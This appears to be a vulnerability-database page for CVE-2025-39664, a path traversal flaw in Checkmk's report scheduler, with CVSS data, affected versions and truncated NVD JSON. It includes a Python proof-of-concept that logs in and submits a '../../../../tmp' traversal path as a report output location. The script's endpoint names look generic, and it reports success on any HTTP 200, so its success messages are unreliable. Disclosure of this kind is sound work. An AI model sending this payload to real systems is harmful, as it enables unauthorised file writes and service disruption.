Security Vulnerability Report
中文
CVE-2025-39664 CVSS 6.5 MEDIUM

CVE-2025-39664

Published: 2025-10-09 15:16:06
Last Modified: 2025-12-04 20:37:25

Description

Insufficient escaping in the report scheduler within Checkmk <2.4.0p13, <2.3.0p38, <2.2.0p46 and 2.1.0 (EOL) allows authenticated attackers to define the storage location of report file pairs beyond their intended root directory.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:checkmk:checkmk:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:p1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:p10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:p11:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:p12:*:*:*:*:*:* - VULNERABLE
Checkmk 2.1.0 (EOL)
Checkmk < 2.2.0p46
Checkmk < 2.3.0p38
Checkmk < 2.4.0p13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-39664 - Checkmk Report Scheduler Path Traversal PoC # This PoC demonstrates the path traversal vulnerability in Checkmk's report scheduler # Affected versions: <2.4.0p13, <2.3.0p38, <2.2.0p46, and 2.1.0 (EOL) import requests # Configuration TARGET_URL = "https://checkmk-target.example.com" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/check_mk/login.py" login_data = { "_username": USERNAME, "_password": PASSWORD, "_login": "1" } response = session.post(login_url, data=login_data) # Step 2: Navigate to report scheduler and create a malicious report schedule # The vulnerability exists in the path parameter where user input is not properly escaped report_scheduler_url = f"{TARGET_URL}/check_mk/report_scheduler.py" # Malicious path with directory traversal to escape the intended root directory malicious_path = "../../../../tmp/malicious_report_location" # Craft the report schedule payload with traversal path schedule_data = { "report_name": "legitimate_report", "output_path": malicious_path, # Path traversal payload "schedule_type": "daily", "action": "create" } # Step 3: Submit the malicious schedule response = session.post(report_scheduler_url, data=schedule_data) if response.status_code == 200: print("[+] Path traversal payload submitted successfully") print(f"[+] Report files will be stored at: {malicious_path}") print("[+] Files written outside intended root directory") else: print(f"[-] Request failed with status code: {response.status_code}") # Note: This vulnerability allows writing report file pairs to arbitrary locations # on the filesystem, potentially affecting system availability (A:H in CVSS vector)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39664", "sourceIdentifier": "[email protected]", "published": "2025-10-09T15:16:06.363", "lastModified": "2025-12-04T20:37:25.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient escaping in the report scheduler within Checkmk <2.4.0p13, <2.3.0p38, <2.2.0p46 and 2.1.0 (EOL) allows authenticated attackers to define the storage location of report file pairs beyond their intended root directory."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "4491352C-E13B-45DF-AC48-50B27AE037BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p1:*:*:*:*:*:*", "matchCriteriaId": "3FB7221E-BE9F-4529-8E07-8AD547FA3208"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p10:*:*:*:*:*:*", "matchCriteriaId": "30A074AD-9499-46E3-AB67-D6CEE3AA01C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p11:*:*:*:*:*:*", "matchCriteriaId": "A8BD0240-A22B-4273-BD47-C35A8C12E127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p12:*:*:*:*:*:*", "matchCriteriaId": "DAA5680F-1DD0-48AA-BB7F-15B27365F0FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p13:*:*:*:*:*:*", "matchCriteriaId": "BC2F31CA-D4EB-44E6-9A09-5255D33F4A88"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p14:*:*:*:*:*:*", "matchCriteriaId": "CD80BD69-20C6-4E17-B165-98689179A5A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p16:*:*:*:*:*:*", "matchCriteriaId": "7DE79896-EBE5-42F2-A126-2A871BBA1071"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p17:*:*:*:*:*:*", "matchCriteriaId": "51A44E69-EEA1-4B01-B7B3-5BF7B39819E3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p18:*:*:*:*:*:*", "matchCriteriaId": "BCB65AEB-CF52-410B-92B1-2DCFB914FFA4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p19:*:*:*:*:*:*", "matchCriteriaId": "B7E17FA6-9011-489C-9FA9-368CA2D86FAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p21:*:*:*:*:*:*", "matchCriteriaId": "8735357F-16A7-4408-9DDD-1C6796BADBE9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p22:*:*:*:*:*:*", "matchCriteriaId": "4505098C-0A2B-481E-A3DF-D6DF8EFA4DE7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p23:*:*:*:*:*:*", "matchCriteriaId": "C12AFCCF-014E-4EEB-8F04-F1ACE182BA98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p24:*:*:*:*:*:*", "matchCriteriaId": "66B85557-D5EC-4AF4-B97A-D2B80A58B3B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p25 ... (truncated)